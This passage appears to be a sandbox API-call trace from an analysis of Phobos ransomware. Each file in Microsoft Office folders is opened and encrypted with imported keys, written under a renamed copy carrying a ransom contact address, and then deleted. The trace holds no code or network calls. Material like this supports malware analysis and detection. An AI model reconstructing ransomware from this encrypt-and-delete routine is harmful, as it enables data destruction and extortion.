CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.308] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0054.308] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.308] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2667, lpOverlapped=0x0) returned 1 [0054.321] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2670, dwBufLen=0x2670 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2670) returned 1 [0054.321] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2670, lpOverlapped=0x0) returned 1 [0054.322] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ce30) returned 1 [0054.322] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.322] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60, dwBufLen=0x60 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60) returned 1 [0054.322] CryptDestroyKey (hKey=0x10ce30) returned 1 [0054.322] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x112, lpOverlapped=0x0) returned 1 [0054.322] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0054.322] CloseHandle (hObject=0x31c) returned 1 [0054.322] CloseHandle (hObject=0x308) returned 1 [0054.323] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0054.324] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.324] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=373) returned 1 [0054.324] CloseHandle (hObject=0x308) returned 1 [0054.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0054.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.324] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.324] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.325] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbf0) returned 1 [0054.325] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.325] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x175, lpOverlapped=0x0) returned 1 [0054.326] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x180, dwBufLen=0x180 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x180) returned 1 [0054.326] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x180, lpOverlapped=0x0) returned 1 [0054.327] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccf0) returned 1 [0054.327] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.327] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0054.328] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0054.328] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0054.329] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0054.329] CloseHandle (hObject=0x308) returned 1 [0054.329] CloseHandle (hObject=0x31c) returned 1 [0054.329] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0054.331] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.342] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=9024) returned 1 [0054.342] CloseHandle (hObject=0x31c) returned 1 [0054.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0054.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.342] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.342] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.342] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0054.342] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.343] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2340, lpOverlapped=0x0) returned 1 [0054.674] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2350, dwBufLen=0x2350 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2350) returned 1 [0054.674] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2350, lpOverlapped=0x0) returned 1 [0054.675] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0054.675] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.675] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0054.675] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0054.675] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0054.675] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0054.675] CloseHandle (hObject=0x31c) returned 1 [0054.676] CloseHandle (hObject=0x308) returned 1 [0054.676] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0054.678] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.681] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7216) returned 1 [0054.681] CloseHandle (hObject=0x308) returned 1 [0054.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0054.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.681] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.681] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.682] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc30) returned 1 [0054.682] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.682] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1c30, lpOverlapped=0x0) returned 1 [0054.728] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1c40, dwBufLen=0x1c40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1c40) returned 1 [0054.728] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1c40, lpOverlapped=0x0) returned 1 [0054.729] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0054.729] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.729] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0054.729] CryptDestroyKey (hKey=0x10caf0) returned 1 [0054.729] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0054.729] CryptDestroyKey (hKey=0x10cc30) returned 1 [0054.729] CloseHandle (hObject=0x308) returned 1 [0054.729] CloseHandle (hObject=0x31c) returned 1 [0054.730] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0054.731] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.731] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=14873) returned 1 [0054.731] CloseHandle (hObject=0x31c) returned 1 [0054.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0054.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.732] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.732] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.732] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cf70) returned 1 [0054.732] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.732] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3a19, lpOverlapped=0x0) returned 1 [0054.808] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3a20) returned 1 [0054.809] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3a20, lpOverlapped=0x0) returned 1 [0054.810] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0054.810] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.810] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0054.810] CryptDestroyKey (hKey=0x10cab0) returned 1 [0054.810] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0054.810] CryptDestroyKey (hKey=0x10cf70) returned 1 [0054.810] CloseHandle (hObject=0x31c) returned 1 [0054.810] CloseHandle (hObject=0x308) returned 1 [0054.811] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0054.813] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0054.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.814] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=6684) returned 1 [0054.814] CloseHandle (hObject=0x308) returned 1 [0054.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0054.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0054.814] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.814] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0054.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.815] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0b0) returned 1 [0054.815] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.815] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1a1c, lpOverlapped=0x0) returned 1 [0054.832] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1a20, dwBufLen=0x1a20 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1a20) returned 1 [0054.832] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1a20, lpOverlapped=0x0) returned 1 [0054.833] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbb0) returned 1 [0054.833] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0054.833] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0054.833] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0054.833] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0054.834] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0054.834] CloseHandle (hObject=0x308) returned 1 [0054.834] CloseHandle (hObject=0x31c) returned 1 [0054.834] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 